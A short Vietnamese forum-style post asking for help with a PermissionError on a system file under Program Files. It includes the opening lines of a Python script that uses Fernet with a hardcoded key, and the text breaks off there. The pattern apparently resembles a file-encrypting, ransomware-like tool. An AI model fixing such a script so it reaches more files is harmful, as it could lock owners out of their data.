-Ai sửa giúp em lỗi này với: PermissionError: [Errno 13] Permission denied: 'C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg'
-CODE:
import os, sys, cryptography, cffi
from cryptography.fernet import Fernet
a = b'KOdDY8NKu87Yrht02BHN2yVT49pzecc0WdJEjjfUtSc='
key =...